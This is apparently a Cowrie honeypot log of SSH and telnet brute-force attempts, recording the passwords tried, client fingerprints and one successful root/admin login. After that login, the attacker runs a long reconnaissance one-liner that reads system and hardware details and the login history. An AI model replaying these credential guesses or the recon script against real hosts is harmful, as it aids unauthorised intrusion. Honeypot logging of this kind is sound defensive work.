{"eventid":"cowrie.login.failed","username":"semnon","password":"123456","message":"login attempt [semnon/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:40.526140Z","src_ip":"159.65.58.200","session":"e0c796947774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":46052,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd504a555bf5","protocol":"ssh","message":"New connection: 178.20.210.208:46052 (159.203.135.109:22) [session: dd504a555bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:41.740754Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:41.803649Z","src_ip":"159.65.58.200","session":"e0c796947774","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:41.937081Z","src_ip":"178.20.210.208","session":"dd504a555bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:41.938994Z","src_ip":"178.20.210.208","session":"dd504a555bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@2wsx@3edc","message":"login attempt [root/1qaz@2wsx@3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:42.352468Z","src_ip":"178.20.210.208","session":"dd504a555bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:12:43.457534Z","src_ip":"178.20.210.208","session":"dd504a555bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":39426,"dst_ip":"159.203.135.109","dst_port":22,"session":"34b9a327142a","protocol":"ssh","message":"New connection: 181.116.220.251:39426 (159.203.135.109:22) [session: 34b9a327142a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:00.872804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:00.877069Z","src_ip":"181.116.220.251","session":"34b9a327142a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:01.044961Z","src_ip":"181.116.220.251","session":"34b9a327142a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"123","message":"login attempt [erpnext/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:01.747631Z","src_ip":"181.116.220.251","session":"34b9a327142a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:02.918277Z","src_ip":"181.116.220.251","session":"34b9a327142a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":50034,"dst_ip":"10.17.0.5","dst_port":22,"session":"79fe6a2926ff","protocol":"ssh","message":"New connection: 194.59.206.2:50034 (10.17.0.5:22) [session: 79fe6a2926ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:20.406439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:20.436805Z","src_ip":"194.59.206.2","session":"79fe6a2926ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:20.525192Z","src_ip":"194.59.206.2","session":"79fe6a2926ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:20.617849Z","src_ip":"194.59.206.2","session":"79fe6a2926ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":51960,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d209cf7f01c","protocol":"ssh","message":"New connection: 185.242.3.195:51960 (10.17.0.5:22) [session: 9d209cf7f01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:28.716994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:28.720562Z","src_ip":"185.242.3.195","session":"9d209cf7f01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":41790,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b51b54b1234","protocol":"ssh","message":"New connection: 162.241.239.202:41790 (10.17.0.5:22) [session: 5b51b54b1234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:28.728629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:28.731633Z","src_ip":"162.241.239.202","session":"5b51b54b1234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:28.755503Z","src_ip":"162.241.239.202","session":"5b51b54b1234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:28.818014Z","src_ip":"185.242.3.195","session":"9d209cf7f01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vet","password":"vet2024","message":"login attempt [vet/vet2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:28.833622Z","src_ip":"162.241.239.202","session":"5b51b54b1234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shop","password":"shop","message":"login attempt [shop/shop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:29.094730Z","src_ip":"185.242.3.195","session":"9d209cf7f01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:29.859673Z","src_ip":"162.241.239.202","session":"5b51b54b1234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:30.188515Z","src_ip":"185.242.3.195","session":"9d209cf7f01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.11507558822632,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:30.296574Z","src_ip":"137.184.5.188","session":"3f39e11af290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":50130,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3f9f53efdbf","protocol":"ssh","message":"New connection: 80.94.92.55:50130 (10.17.0.5:22) [session: f3f9f53efdbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:31.193221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:31.653622Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:31.919973Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:33.656680Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:34.999576Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:35.002184Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:35.005213Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:35.007635Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:35.010151Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:35.013100Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:35.015136Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:13:35.017341Z","src_ip":"80.94.92.55","session":"f3f9f53efdbf","protocol":"ssh"}
